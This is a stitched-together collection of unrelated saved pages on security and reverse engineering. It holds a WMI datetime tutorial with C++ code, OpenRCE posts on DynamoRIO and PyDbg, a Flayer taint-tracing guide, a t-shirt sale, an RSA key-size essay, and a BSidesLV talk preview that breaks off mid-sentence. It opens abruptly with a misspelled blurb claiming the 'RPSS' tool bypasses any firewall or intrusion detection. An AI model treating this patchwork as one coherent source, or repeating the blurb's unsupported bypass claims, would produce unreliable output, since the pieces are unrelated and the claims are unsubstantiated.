IF WE TALK TECHNICALLY THEN ENTIRE RPSS PROGRAMING HAS BEEN DONE USING THREAD
MANY THREAD IS BEING CREAT FOR COMPLETE ONE PROCESS. SO THE EXECUTION AND
PROCESS TIME OF RPSS IS VERY FAST THEN OTHER TOOLS. THE LOGIC OF EACH TASK IS
VERY UNIQUE SO IT WILL WORK AGAINST ANY OF THE TARGET. IT IS NO MATTER THAT
TARGET HAS STRONG FIREWALL, INTRUSION DETECTION SYSTEM, OR AND IP FILTARATION
IS INSTALLED. RPSS WILL BY PASS ALL THE SECURITY LAYERS AND IT WILL PROVIDE
YOU ACURATE RISULT. YOU CAN USE THIS TOOL FOR DIFFRENT PURPOSE SUCH AS LEGAL
PENETRATION TESTING, TESTING YOUR OWN WEBAPPLICATION FOR VULNARABLITIES,
FORENSIC INVESTIGATION PURPOSE, TESTING SEUCRITY COMPONENTS ETC...

Fetures Of RPSS

  * **Thread programing so very fast**
  * **Proxy support including crawling**
  * **Jumping proxy support**
  * **Strong crawling**
  * **Fast penetration**
  * **Acurate report generation**
  * **Auto update**
  * **Work in any of the shell like bash or cmd no matter**
  * **Fake user agent on each request**
  * **Easy and userfirndly environment**

Function Of RPSS

RPSS IS CONTAINING VARIOUS DIRECTORY AND FILES INSIDE. EACH DIRECTORY AND FILE
HAVE DIFFRENT TYPES OF ACCESS AND FUNCTIONALITY. THERE ARE TOTAL 9 DIFFRENT
USER CAN BE USE RPSS USING 9 DIFFRENT TYPES OF RIGHTS. FOR EXAPLE IF YOU ARE
DOWNLOADING RPSS NOW THEN YOU WILL BE CONSIDER AS A NON AUTHORISED OR SIMPLE
USER SO YOU WILL NOT ABLE TO ACCESS ALL THE RPSS DIRECTORY AND FILES WITH FULL
FUNCTIONALITY. HERE IS THE DETAIL OF EACH USER AND THEIR FUNCTIONALITY SO YOU
WILL EASILY UNDERSTAND THIS MAP. HERE I HAVE MANSIONED ALL THE FILES AND
DIRECTORY WHICH IS RPSS IS CONTAIN. BUT YOU WILL NOT ABLE TO ACCESS ALL THE
FILES OR DIRECTORY FOR THIS YOU NEED TO GET APROVAL FROM THE DEVELOPAR
ASHIKALI PLEASE MAIL HIM CODE OF ETHICS ON HIS ID
ashikali1208\[at\]yahoo\[dot\]com

# WMI’m Going Speed Dating « Just Let It Flow

**Created:**| _10/29/2011 1:50:56 PM_  
---|---  
**Updated:**| _10/29/2011 1:50:56 PM_  
**Author:**| __  
**Tags:**| _windows admin_  
  

### WMI’m Going Speed Dating

Filed under: Code,Windows — adeyblue @ 12:21 am

All WMI queries that give or take datetime values, do so in a certain format
called CIM\_DATETIME. For scripting guys, this is only a minor inconvenience.
The following listing is the entire code to display the OS install date in
various formats:

[code]

    ' Create a new datetime object.
    Set dateTime = CreateObject("WbemScripting.SWbemDateTime")
     
    ' Retrieve a WMI object that contains a datetime value.
    for each os in GetObject( _
        "winmgmts:").InstancesOf ("Win32_OperatingSystem")
     
        ' The InstallDate property is a CIM_DATETIME. 
        MsgBox os.InstallDate
        dateTime.Value = os.InstallDate
     
        ' Display the year of installation.
        MsgBox "This OS was installed in the year " & dateTime.Year
     
        ' Display the installation date using the VT_DATE format.
        MsgBox "Full installation date (VT_DATE format) is " _
        & dateTime.GetVarDate
     
        ' Display the installation date using the FILETIME format.
        MsgBox "Full installation date (FILETIME format) is " _
        & dateTime.GetFileTime 
    next
    Set datetime = Nothing
[/code]

For the native coders among us, the standard Win32 time functions neither
produce nor consume this format meaning we have to perform some jiggery poker
to get it to play nice.

The veritable Dutch naval spoon \(since it’s not quite so universal to be an
army knife\) needed to perform the conversion is SWbemDateTime. Unlike the
normal WMI classes which reqire gobs of IWbemClassObject::Put-ting and
IWbemServices::ExecMethod-ing to call a single function, SWbemDateTime is a
normal COM interface and is created in the usual way:

[code]

    ISWbemDateTime* pConverter = NULL;
    CoCreateInstance(CLSID_SWbemDateTime, NULL, CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&pConverter);
[/code]

The reason I called it a naval spoon is that it only supports two formats to
convert to and from: a FILETIME in the form of a BSTR; and an OLE DATE.
Conversions from a CIM\_DATETIME usage is simply:

[code]

    // FROM a Cim_DateTime
    pWbemTime->put_Value(cimDateTime); // set the value gained from Win32_OperatingSystem.InstallDate
    BSTR fileTime;
    pWbemTime->GetFileTime(bInLocalTime, &fileTime); // don't forget to SysFreeString fileTime
    DATE oleDate;
    pWbemTime->GetVarDate(bInLocalTime, &oleDate);
[/code]

Going the other way isn’t any more difficult:

[code]

    // TO a Cim_DateTime
    //
    // first convert the file time to a string
    std::wostringstream converter;
    converter << ((ULONGLONG(fileTime.dwHighPart) << 32) | fileTime.dwLowPart;
    BSTR fileTimeString = SysAllocString(converter.str().c_str()); // don't forget to SysFreeString
    pWbemTime->SetFileTime(fileTimeString, bInLocalTime);
    BSTR cimDateTime;
    pWbemTime->get_Value(&cimDateTime); // don't forget to SysFreeString
    //
    // even simpler from a DATE
    //
    pWbemTime->SetVarDate(oleDate, bInLocalTime);
    BSTR cimDateTime;
    pWbemTime->get_Value(&cimDateTime); // don't forget to SysFreeString
[/code]

Strictly speaking, these two formats are also useless to the time functions,
those take FILETIMEs as a structure with two 32-bit integers rather than a
string representation of the full 64-bit number and they don’t interact with
DATEs at all. This is less of a problem than the CIM\_DATETIME one, as
converting them to usable formats only requires an extra function in each
case.

All in all, using SWbemDateTime is one the less painful and less verbose parts
of WMI with pretty much a one-to-one mapping between VBScript lines and C++
lines. As a full example, here’s the VBScript above, translated into C++:

[code]

    #define WIN32_LEAN_AND_MEAN
    #define _UINCODE
    #define UNICODE
    #define _WIN32_WINNT 0x0501
    #define WIN32_DCOM
    #include <windows.h>
    #include <iostream>
    #include <sstream>
    #include <malloc.h>
    #include <cstdlib>
    #include <ole2.h>
    #include <wbemidl.h>
     
    #pragma comment(lib, "wbemuuid.lib")
    #pragma comment(lib, "oleaut32.lib")
    #pragma comment(lib, "ole32.lib")
    #pragma comment(lib, "kernel32.lib")
     
    void ExitOnFailedHR(HRESULT hr, const char* condition, const char* file, int line)
    {
        if(FAILED(hr))
        {
            std::cerr << file << ':' << line << ' ' << condition << " failed with hresult error 0x" << std::hex << hr << std::endl;
            exit(static_cast<int>(hr));
        }
    }
    #define EXIT_ON_FAILED_HR(x) ExitOnFailedHR((x), #x, __FILE__, __LINE__)
     
    template<class VariantRet, class DataType>
    void GetFromWBemClass_(
        IWbemClassObject* pObj,
        LPCWSTR name,
        VariantRet (VARIANT::* accessor),
        DataType& data
    )
    {
        VARIANT vt;
        VariantInit(&vt);
        CIMTYPE varType = CIM_EMPTY;
        EXIT_ON_FAILED_HR(pObj->Get(name, 0, &vt, &varType, NULL));
        if((varType != CIM_EMPTY) && (varType != CIM_ILLEGAL) && (V_VT(&vt) != VT_NULL))
        {
            // fun with pointer to members
            data = vt.*accessor;
        }
        else VariantClear(&vt);
    }
     
    // helper macro
    #define GetFromWBemClass(pObj, name, variantField, data) \
        GetFromWBemClass_(pObj, name, &VARIANT::##variantField##, data)
     
    // A stack version of SysAllocString
    #define DECL_STACK_BSTR(name, wideString) \
        BSTR name = NULL; \
        { \
            UINT bytesReq = sizeof(wideString) + sizeof(UINT); \
            UINT* temp = static_cast<UINT*>(_alloca(bytesReq)); \
            *temp = bytesReq - sizeof(UINT); \
            ++temp; \
            wmemcpy((WCHAR*)temp, wideString, ARRAYSIZE(wideString)); \
            name = (BSTR)temp; \
        }
     
    void PrintSystemTime(const SYSTEMTIME& sysTime)
    {
        std::cout 
            << "Day: " << sysTime.wDay
            << "\nMonth: " << sysTime.wMonth
            << "\nYear: " << sysTime.wYear
            << "\nTime: " << sysTime.wHour << ':' << sysTime.wMinute << ':' << sysTime.wSecond
            << std::endl;
    }
     
    void PrintOLEDateAndConversions(DATE oleDate)
    {
        std::cout << "In OLE Date format, the install date was " << oleDate << '\n';
        // you can turn an OLE date to SYSTEMTIME using this simple function
        SYSTEMTIME st;
        VariantTimeToSystemTime(oleDate, &st);
        std::cout << "OLE Date -> SystemTime returned\n";
        PrintSystemTime(st);
        FILETIME ft;
        SystemTimeToFileTime(&st, &ft);
        std::cout << "OLE Date -> FileTime returned\n";
        std::cout << ((ULONGLONG(ft.dwHighDateTime) << 32) | ft.dwLowDateTime) << " 100-nansecond intervals since Jan 1, 1601\n";
    }
     
    void PrintBSTRFileTimeAndConversions(BSTR bstrTime)
    {
        std::wcout << L"In BSTR Filetime format, the install date was \"" << bstrTime << L"\"\n";
        // you can turn an BSTR filetime to a normal file time like this
        // or you could also use wcstoull or StrToInt64Ex
        ULARGE_INTEGER temp;
        std::wstringstream converter;
        converter << bstrTime;
        converter >> temp.QuadPart;
        // copy to a filetime struct
        FILETIME ft = {temp.LowPart, temp.HighPart};
        SYSTEMTIME st;
        FileTimeToSystemTime(&ft, &st);
        // print it out
        std::cout << "BSTR Filetime -> SystemTime returned\n";
        PrintSystemTime(st);
        std::cout << "BSTR FileTime -> FileTime returned\n";
        // you could also have printed temp.QuadPart here instead of the bit shifting and or-ing
        std::cout << ((ULONGLONG(ft.dwHighDateTime) << 32) | ft.dwLowDateTime) << " 100-nansecond intervals since Jan 1, 1601\n";
    }
     
    void PrintDateConversions(BSTR cimDate)
    {
        std::wcout << L"In CIM_DATETIME format, the install date was " << cimDate << L'\n';
        // create our SWbemDateTime
        ISWbemDateTime* pTime = NULL;
        EXIT_ON_FAILED_HR(CoCreateInstance(CLSID_SWbemDateTime, NULL, CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&pTime)));
        // set the value to convert from
        pTime->put_Value(cimDate);
        // convert it to an OLE DATE
        DATE oleDate = 0;
        pTime->GetVarDate(VARIANT_TRUE, &oleDate);
        // print and convert the ole date
        PrintOLEDateAndConversions(oleDate);
        // and then convert it to a stringified filetime
        BSTR fileTimeBSTR;
        pTime->GetFileTime(VARIANT_TRUE, &fileTimeBSTR);
        // and print and convert that
        PrintBSTRFileTimeAndConversions(fileTimeBSTR);
        // cleanup
        SysFreeString(fileTimeBSTR);
        pTime->Release();
    }
     
    int main()
    {
        // init com
        EXIT_ON_FAILED_HR(CoInitializeEx(NULL, COINIT_MULTITHREADED));
        // initialize default security
        EXIT_ON_FAILED_HR(CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL));
        // create the connector
        IWbemLocator* pLoc = NULL;
        EXIT_ON_FAILED_HR(CoCreateInstance(CLSID_WbemLocator, NULL, CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&pLoc)));
        IWbemServices* pServices = NULL;
        // connect to default wmi namespace
        DECL_STACK_BSTR(rootNamespace, L"root\\cimv2");
        EXIT_ON_FAILED_HR(pLoc->ConnectServer(rootNamespace, NULL, NULL, NULL, 0, NULL, NULL, &pServices));
        // no more need for the the locator
        pLoc->Release();
        // query for the OS details, only one instance is ever returned
        DECL_STACK_BSTR(wql, L"WQL");
        DECL_STACK_BSTR(osQuery, L"Select * from Win32_OperatingSystem");
        IEnumWbemClassObject* pEnum = NULL;
        EXIT_ON_FAILED_HR(pServices->ExecQuery(wql, osQuery, WBEM_FLAG_FORWARD_ONLY, NULL, &pEnum));
        IWbemClassObject* pWin32Os = NULL;
        ULONG returned = 0;
        EXIT_ON_FAILED_HR(pEnum->Next(WBEM_INFINITE, 1, &pWin32Os, &returned));
        // get the InstallDate property from the class
        BSTR installDate;
        GetFromWBemClass(pWin32Os, L"InstallDate", bstrVal, installDate);
        // clean up the interfaces
        pEnum->Release();
        pWin32Os->Release();
        pServices->Release();
        // print the date
        PrintDateConversions(installDate);
        // final cleanup
        SysFreeString(installDate);
        CoUninitialize();
        return 0;
    }
[/code]

Notes

  * The S prefix in SWbemDateTime means the object is marked as safe for scripting
  * SWbemDateTime isn’t available on Windows 2000
  * You can run WMI queries without scripting or code by running WBemTest from the command line

# OpenRCE

**Created:**| _9/25/2009 9:19:17 PM_  
---|---  
**Updated:**| _9/25/2009 9:19:34 PM_  
**Author:**| __  
**Tags:**| _binary instrumentation DynamoRIO programming_  
  
**Industrial-Grade Binary-Only Profiling and Coverage****Author: **RolfRolles
<img src='img/Temp2_5893.gif' />| **\# Views: **2914  
---|---  
There are a few options for profiling or performing code-coverage analysis on
a per-module binary level:

  

\* Run traces \(very slow and generate a huge amount of uninteresting data,
but it works\);

\* MSR tracing \(strengths and weaknesses remain to be seen, but seems fairly
promising\);

\* BinNavi/CoverIt/PaiMei/presumably Inspector: put a breakpoint on every
function you found in a static disassembly \(doesn't work in general; I
explained why here\)

  

There are more options rooted in academia, the most practical of which being
dynamic binary instrumentation \(DBI\), the technology behind tools such as
valgrind and DynamoRIO. The inner workings of this technology are very
interesting, but they are rather involved and their precise technical details
are beyond the scope of this entry. Informally speaking, they disassemble a
basic block, convert the instructions into an intermediate language like the
ones you find inside of a compiler, and finally re-compile the IL with the
"instrumentation" code baked directly into the new assembly language. For more
information, read the original Ph.D. thesis describing Valgrind and then read
the source to libVEX, a component thereof. Valgrind is slow and linux-only,
but DynamoRIO was specifically designed with speed in mind \(hence the
"Dynamo"\) and runs on Windows.

  

Here I present a DynamoRIO extension for code coverage and profiling. It works
on a function-level \(although block-level support could be added easily --
the source weighs in at a measly 70 lines in 2kb, so if you want some other
feature, just code it\), and it can either be a profiler or a code coverage
analyzer. All it does is instrument the code such that each call instruction,
direct or indirect, will write its source and target addresses into a file.
This data can then be used for either profiling or code coverage purposes:
simply discard all of the duplicates for the latter, and use the data as-is
for the former. This is just the back-end, but I imagine that this could be
easily integrated into PaiMei's front end to provide an industrial-grade
coverage and profiling tool.

  

Strengths of DynamoRIO:

\* speed \(you might not even notice the slowdown\);

\* stability \(there used to be a commercial security product based on this
technology -- it is literally industrial grade\);

\* trivial to code extensions for \(70 lines, 2kb for this simple yet powerful
extension\).

  

Weaknesses:

\* definitely won't work with self-modifying code

\* probably won't work with obfuscated or "self-protecting" code \(there's
particularly a problem with so-called "pc-relative" addressing, such as call $
/ pop ebp\).

  

Studious readers may note that automatic indirect call resolution is
exceptionally useful for C++ reverse engineering; comment out the direct call
resolution, recompile, write a quick IDC script to add the x-refs to the
disassembly listing, and you've got a killer C++ RE tool. Credit goes to
spoonm for having and implementing this idea initially.

# GettingStarted - flayer - A quick guide to getting started with Flayer -
Project Hosting on Google Code

**Created:**| _12/22/2009 9:04:04 PM_  
---|---  
**Updated:**| _12/22/2009 9:04:23 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification binary instrumentation Tutorials_  
  
| Updated Sep 16, 2007 by wad  
---  
Labels:| Featured, Phase-Deploy  
GettingStarted

A quick guide to getting started with Flayer

# What is . . .

## Flayer

Flayer is a Valgrind plugin which traces \(tainted\) input through a program.
In addition, it allows for conditional branches and function calls on the way
to be skipped or altered.

For more detail, check out the paper.

## MKF

MKF is a fun little hack. It is used to apply the conditional branch
alterations and function call site skipping that flayer does using only
ptrace. It takes the same arguments, but means that none of the
valgrind/flayer overhead is imposed\!

# Installing

Currently, Flayer is available for download as an Encap package. The source is
also available.

# Prerequisites

The packages have been tested on modern 32-bit Linux installations. At the
time of writing, Flayer only supports x86 architecture system calls, but this
may be fixed in the future.

To use the Encap package, epkg must be installed. epkg and directions for
installing it can be found at the encap site.

## Installing Flayer and MKF

Using epkg, it is as easy as just running these commands:

[code]

      sudo epkg /path/to/flayer-WOOT-encap-ix86-linux2.6.tar.gz  
      sudo epkg /path/to/mkf-0.0.1-encap-ix86-linux2.6.tar.gz
[/code]

# Running

Flayer and MKF are command-line tools only. Flayer is based on the valgrind
tool memcheck and its output is very similar. Any tools or scripts you may
have for manipulating that output may be useful with flayer as well.

## Flayer

To run flayer without tainting any input, you can invoke it as follows:

[code]

      valgrind --tool=flayer /usr/bin/md5sum /etc/passwd
[/code]

If you'd like to taint file input, you can add the following:

[code]

      valgrind --tool=flayer --taint-file=yes /usr/bin/md5sum /etc/passwd
[/code]

You may want to filter out linked library loads, etc:

[code]

      valgrind --tool=flayer --taint-file=yes --file-filter=/etc/passwd /usr/bin/md5sum /etc/passwd
[/code]

Perhaps you'd like to make md5sum not print the hash by skipping printf:

[code]

      valgrind --tool=flayer --taint-file=yes --file-filter=/etc/passwd --alter-fn=0x8049FB1:0 /usr/bin/md5sum /etc/passwd
[/code]

Just as well, conditional branch behavior can be changed:

[code]

      valgrind --tool=flayer --taint-file=yes --file-filter=/etc/passwd --alter-branch=0x44702062:1 /usr/bin/md5sum /etc/passwd
[/code]

In addition to file input, Flayer can also taint network input:

[code]

      valgrind --tool=flayer --taint-network=yes /usr/bin/curl -i http://www.google.com -o /tmp/curl.out
[/code]

There is no filtering support on network tainting so behavior such as hostname
resolution will turn up even if it is not the intended target of the trace.

## MKF

MKF supports the same arguments flayer does. For example, you can skip the
printf function the same way:

[code]

      mkf --alter-fn=0x8049FB1:0 /usr/bin/md5sum /etc/passwd
[/code]

Or, alter the conditional jump:

[code]

      mkf --alter-branch=0x44702062:0 /usr/bin/md5sum /etc/passwd
[/code]

In the above example, it is critical to note that the branch behavior value
was 0 instead of 1 as it was with Flayer. Since Flayer relies on Valgrind's
intermediate representation of binary instructions, the jump behavior does not
always match the behavior MKF enforces when it patches the x86 binary
instructions. When using mkf, be sure to check that you are getting the
desired behavior.

## Other components

More documentation for using these tools and the included Python library and
interactive shell will be coming in the future. User submissions are welcome\!

# IDA Pro ‘¡Viva la Revolución\!’ shirts are back\! | call dwerd ptr \[6c756973\]
**Created:**| _7/20/2010 8:14:59 AM_  
---|---  
**Updated:**| _7/20/2010 8:15:11 AM_  
**Author:**| __  
**Tags:**| _bookmark LOLZ awesome_  
  

# IDA Pro ‘¡Viva la Revolución\!’ shirts are back\!

Sunday, 18 July 2010

The IDA Pro \[1\] “¡Viva la Revolución\!” t-shirt is back by popular demand\!

<img src='img/Temp2_4189.jpg' />

Originally I made a small run of shirts in 2006 which I gave away to friends.

For people that attended recon this year, you may have spotted the special
edition speaker shirt. The special edition was something Hugo and I had wanted
to do for some time.

For those that did not get the opportunity to speak at recon, you can get the
classic IDA Pro T-shirt at this year’s BlackHat/Defcon while helping out the
EFF.

## **The shirts**

The shirt use American Apparel t-shirts. These are high quality t-shirts which
in my opinion use a better cut than standard cut boxier shirts. They do not
use sweatshops to manufacture their products and as such the cost is higher.

<img src='img/Temp2_4190.jpg' />

## **Cost andEFF****donation**

**$5** from every shirt purchased will go to the EFF. Thanks to Jennifer
Granick for helping to make this happen.

I am not in the business of making t-shirts and wanted proceeds to go
somewhere that benefited reverse engineers.

The exact cost of the shirt is still to be determined. Shirt prices have gone
up considerably since the original run. The estimated price will be around
$22. This includes $5 donation to the EFF. The rest of the price covers
shirts, printing, delivery to Vegas and small amount to make up for loss due
to damaged or unsold shirts. As seen here, the shirts in single quantity with
no printing are $17.

Larger sizes, 2XL and 3XL, cost more. I believe it is $2-$3 more per shirt.

## **Women’s Shirts**

Unfortunately, Women’s shirts cost more than the equivalent Men’s shirts. I
made some Women’s t-shirts on the original run and would love to make more. I
have been quoted approximately $25-$28 \(including the $5 EFF donation\) for
the minimum order of 6. The price goes down with a larger order. I will print
Women’s shirts on a preorder basis.

<img src='img/Temp2_4191.jpg' />

## **Original t-shirt**

I came up with the concept of shirt and k8em0 worked on the graphics. The
original run was during BlackHat/Defcon in 2006.

I wanted to make a non-black \(srsly, we have too many black t-shirts\)
reversing shirt. The design blends the IDA Pro icon \(public domain\) with the
concept of REvolucion. REvolucion is the freedom that reverse engineering
gives us to peer into others’ code and design. Or maybe that’s all BS and it’s
just a cool looking shirt ;\)

## **Pre order**

Do you want a t-shirt? Please let me know **ASAP**. I will place an order on
**Tuesday July 20th**.

The prices will be based on how many responses I get. I will most likely get
some extras but whoever emails me first will get first dibs. Get a shirt for
your whole team\!

I am NOT taking any money at this time. I will be at BlackHat/Security Bsides
and Defcon through Saturday. I will be sending email to whomever preorders, on
when and where to meet up as well as the final price. Maybe someone can share
some table space as this is not for profit?

**EMAIL ME idaproshirts\[at\]gmail.com PLEASE INCLUDE YOUR NAME QUANTITIES AND
SIZES**

Don’t know your size? Try one on.

\[1\] IDA Pro is a Disassembler produced by Hex-Rays SA in Belgium

# OpenRCE

**Created:**| _9/1/2009 6:06:05 PM_  
---|---  
**Updated:**| _9/1/2009 6:06:12 PM_  
**Author:**| __  
**Tags:**| _pydbg_  
  
**PyDbg Hacks****Author: **pedram <img src='img/Temp2_5916.gif' />| **\#
Views: **4302  
---|---  
Just added some PyDbg based hacks to the public repository \(should show up
within an hour max of this post\). Here is a description of what was added:

  

**just\_in\_time\_debugger.py**

PyDbg implementation of a script that can be set as the Just-In-Time debugger.
Logs the crash context to disk. I'll be blogging about / giving out a
standalone executable based on this script for those of you who want to e-mail
all your crash dumps to ... me ;-\)

  

**stack\_integrity\_monitor.py**

Automatically locate the source of a stack overflow. This has already been
released, just hasn't been previously part of the repo. For more info see the
related blog entry.

  

**pydbgc.py**

Cody's PyDbg command line interface library. This is pretty cool, you can
import it to drop a user into an interactive PyDbg shell at any point during
execution. Gives you WinDbg-esque commands. One of the cooler features of this
hack is that it allows you to step backwards, really.

  

**push\_pop\_unpacker.py**

This is a quick and dirty PyDbg implementation of a known generic technique
for stopping an unpacker at OEP. This script was written during Ero and I's
2007 Reverse Engineering class at BlackHat. It took like 20 minutes to write,
gotta love PyDbg.

  

**null\_selector\_mem\_monitor\_poc.py**

Pydbg implementation of skape's null selector mem-monitor technique. Read more
about it on Uninformed Journal

  

Get all the new goodies at http://paimei.openrce.org.

# RSA Key Sizes: 2048 or 4096 bits? | DanielPocock.com
**Created:**| _10/4/2013 10:50:05 AM_  
---|---  
**Updated:**| _10/4/2013 10:50:05 AM_  
**Author:**| __  
**Tags:**| _crypto_  
  

# **R** SA Key Sizes: 2048 or 4096 bits?

Submitted by Daniel.Pocock on Tue, 18/06/2013 - 08:01

<img src='img/Temp2_6717.png' />

Looking for ZRTP , TLS and 4096 bit RSA in a 100% free and open-source Android
app**?** Lumicall

* * *
Many people are taking a fresh look at IT security strategies in the wake of
the NSA revelations **.** One of the issues that comes up is the need for
stronger encryption, using public key cryptography  instead of just
passwords**.** This is sometimes referred to as certificate authentication,
but certificates are just one of many ways to use public key technology**.**

One of the core decisions in this field is the key size**.** Most people have
heard that 1024 bit RSA keys have been cracked  and are not used any more for
web sites or PGP **.** The next most fashionable number after 1024 appears to
be 2048, but a lot of people have also been skipping that and moving to 4096
bit keys**.** This has lead to some confusion as people try to make decisions
about which smartcards to use, which type of CA certificate to use, etc**.**
The discussion here is exclusively about RSA key pairs, although the concepts
are similar for other algorithms \(although key lengths are not equivalent\)

### The case for using 2048 bits instead of 4096 bits****

  * Some hardware \(many smart cards, some card readers, and some other devices such as Polycom phones \) don't support anything bigger than 2048 bits**.**
  * Uses less CPU than a longer key during encryption and authentication
  * Using less CPU means using less battery power \(important for mobile devices\)
  * Uses less storage space: while not an issue on disk, this can be an issue in small devices like smart cards that measure their RAM in kilobytes rather than gigabytes

So there are some clear benefits of using 2048 bit keys and not just jumping
on the 4096 bit key bandwagon

### The case for using 4096 bits****

  * For some types of attack, security is not just double, it is exponential**.** 4096 is significantly more secure in this scenario**.** If an attack is found that allows a 2048 bit key to be hacked in 100 hours, that does not imply that a 4096 bit key can be hacked in 200 hours**.** The hack that breaks a 2048 bit key in 100 hours may still need many years to crack a single 4096 bit key
  * Some types of key \(e**.** g. an OpenPGP  primary key which is signed by many other people\) are desirable to keep for an extended period of time, perhaps 10 years or more**.** In this context, the hassle of replacing all those signatures may be quite high and it is more desirable to have a long-term future-proof key length**.**

### The myth of certificate expiration****

Many types of public key cryptography, such as X**.** 509 , offer an expiry
feature. This is not just a scheme to force you to go back to the certificate
authority and pay more money every 12 months**.** It provides a kind of weak
safety net in the case where somebody is secretly using an unauthorised copy
of the key or a certificate that the CA issued to an imposter**.**

However, the expiry doesn't eliminate future algorithmic compromises**.** If,
in the future, an attacker succeeds in finding a shortcut to break 2048 bit
keys, then they would presumably crack the root certificate as easily as they
crack the server certificates and then, using their shiny new root key, they
would be in a position to issue new server certificates with extended expiry
dates**.**

Therefore, the expiry feature alone doesn't protect against abuse of the key
in the distant future**.** It does provide some value though: forcing people
to renew certificates periodically allows the industry to bring in new minimum
key length standards from time to time**.**

In practical terms, content signed with a 2048 bit key today will not be valid
indefinitely**.** Imagine in the year 2040 you want to try out a copy of some
code you released with a digital signature in 2013**.** In 2040, that
signature may not be trustworthy: most software in that era would probably see
the key and tell you there is no way you can trust it**.** The NIST speculates
that 2048 bit keys will be valid up to about the year 2030, so that implies
that any code you sign with a 2048 bit key today will have to be resigned with
a longer key in the year 2029**.** You would do that re-signing in the 2048
bit twilight period while you still trust the old signature**.** Fortunately,
there are likely to be few projects where such old code will be in demand**.**

### 4096 in practice****

One of the reasons I decided to write this blog is the fact that some
organisations have made the 4096 bit keys very prominent \(although nobody has
made them mandatory as far as I am aware\)**.**

Debian's guide to key creation currently recommends 4096 bit keys \(although
it doesn't explicitly mandate their use\)

Fedora's archive keys  are all 4096 bit keys**.**

The CACert.org  project has developed a 4096 bit root

These developments may leave people feeling a little bit naked if they have to
use a shorter 2048 bit key for any of the reasons suggested above \(e**.** g.
for wider choice of smart cards and compatibility with readers\)**.** It has
also resulted in some people spending time looking for 4096 bit smart cards
and compatible readers when they may be better off just using 2048 bits and
investing their time in other security improvements**.**

<img
src='http://danielpocock.com/sites/danielpocock.com/files/spr-332_thumb_185x200.png'
/>

In fact, the "risk" of using only 2048 rather than 4096 bits in the smartcard
may well be far outweighed by the benefits of hardware security \(especially
if a smartcard reader with pin-pad is used\)

My own conclusion is that 2048 is not a dead duck and using this key length
remains a valid decision and is very likely to remain so for the next 5 years
at least**.** The US NIST makes a similar recommendation and suggests it will
be safe until 2030 , although it is the minimum key length they have
recommended**.**

My feeling is that the Debian preference for 4096 bit PGP keys is not based
solely on security, rather, it is also influenced by the fact that Debian is a
project run by volunteers**.** Given this background, there is a perception
that if everybody migrates from 1024 to 2048, then there would be another big
migration effort to move all users from 2048 to 4096 and that those two
migrations could be combined into a single effort going directly from 1024 to
4096, reducing the future workload of the volunteers who maintain the
keyrings**.** This is a completely rational decision for administrative
reasons, but it is not a decision that questions the security of using 2048
bit keys today**.** Therefore, people should not see Debian's preference to
use 4096 bit keys as a hint that 2048 bit keys are fundamentally flawed**.**

Unlike the Debian keys \(which are user keys\), the CACert.org roots and
Fedora archive signing keys are centrally managed keys with a long lifetime
and none of the benefits of using 2048 bit keys is a compelling factor in
those use cases**.**

### Practical issues to consider when choosing key-length****

Therefore, the choice of using 2048 or 4096 is not pre-determined, and it can
be balanced with a range of other decisions:

  * Key lifetime: is it a long life key, such as an X**.** 509 root for an in-house CA  or an OpenPGP primary key**?** Or is it just for a HTTPS web server or some other TLS server that can be replaced every two years**?**
  * Is it for a dedicated application \(e**.** g. a closed user group all using the same software supporting 4096 bit\) or is it for a widespread user base where some users need to use 2048 bit due to old software/hardware**?**
  * Is it necessary to use the key\(s\) in a wide variety of smartcard readers**?**
  * Is it a mobile application \(where battery must be conserved\) or a server that is likely to experience heavy load**?**

* * *
<img src='img/Temp2_6717.png' />

Looking for ZRTP , TLS and 4096 bit RSA in a1 100% free and open-source
Android app**?** Lumicall

****

# BSidesLV Preview: Vulnerabilities in iOS URL Schemes - The State of Security

**Created:**| _6/27/2014 9:17:20 AM_  
---|---  
**Updated:**| _6/27/2014 9:17:20 AM_  
**Author:**| __  
**Tags:**| _iOS apple_  
  

# BSidesLV Preview: Vulnerabilities in iOS URL Schemes

Security BSides Las Vegas is on the horizon and approaching fast, once again
being held at the Tuscany Suites & Casino on August 5th & 6th, and so we are
carrying on our tradition of running a few feature articles highlighting some
of the fantastic presentations that are slated for the event.

<img src='img/Temp2_967.png' alt='pic' />

BSidesLV, like all Security BSides events, is a security conference that is
100% volunteer event organized by-and-for the security community, and with
some of the most passionate and innovative security practitioners from around
the world coming to Vegas, BSidesLV is definitely the place to be.

First up is a session being delivered by Guillaume Ross \(@gepeto42\) with a
talk titled _iOS URL Schemes: omg://,_ which will look at real life examples
of implementations of URL Schemes that could lead to issues such as
destruction of data or that may be exploited by a malicious entity to identify
a targeted iOS user.

The presentation will also examine some simple ways developers can improve URL
Scheme security for their users, as well as strategies used to detect some URL
Scheme vulnerabilities.

Ross is an independent information security consultant with over ten years of
experience in IT, having worked in multiple verticals at companies of varying
sizes ranging from less than 10 to over 100,000 employees addressing risk,
cost and IT management efforts by recommending and implementing appropriate
solutions for the banking, insurance, telecommunication, transportation and
education sectors.

He holds a Certified Information Systems Security Professional \(CISSP\)
certification, as well as being a VMware Certified Professional on vSphere 4
\(VCP4\), Microsoft Certified IT Professional \(MCITP\) as an Enterprise
Administrator, and Microsoft Certified IT Professional \(MCITP\) as a Database
Administrator.

“Have you ever clicked a phone number in Safari to get the phone app to call
that store/car dealership/pizza place you were searching for? In iOS, this
interaction between apps happens via URL schemes, which are available for
Apple apps as well as third party applications,” Ross said.

“Everyone uses them without noticing they exist. They are the most flexible of
the imperfect methods available right now. They are also, however, a source of
user input that should never be trusted as safe.”

Why? URL Schemes open up holes in applications on a platform that most people
trust by default simply because Apple has a reputation for being very strict
about sandboxing and approving applications before they are made available.

“But it seems developers have a natural tendency to assume that security is
not a concern and they often ignore potentially malicious ways someone could
send input into their apps,” Ross said. “So it is important for end-users to
understand the risks involved with these schemes.”

The session is designed to appeal to security researchers who may find
problems in applications related to this issue, to enterprise iOS
administrators and information security teams who need to understand how these
problems manifest before approving an application for use on corporate
devices, and most of all for application developers who need to be aware of
the potential impact of using dangerous URL schemes.

“I want developers to understand how they can improve their use of URL Schemes
to provide better security, and also inspire curious researchers to go out and
hunt for URL scheme related bugs so they can be mitigated,” Ross said. “My
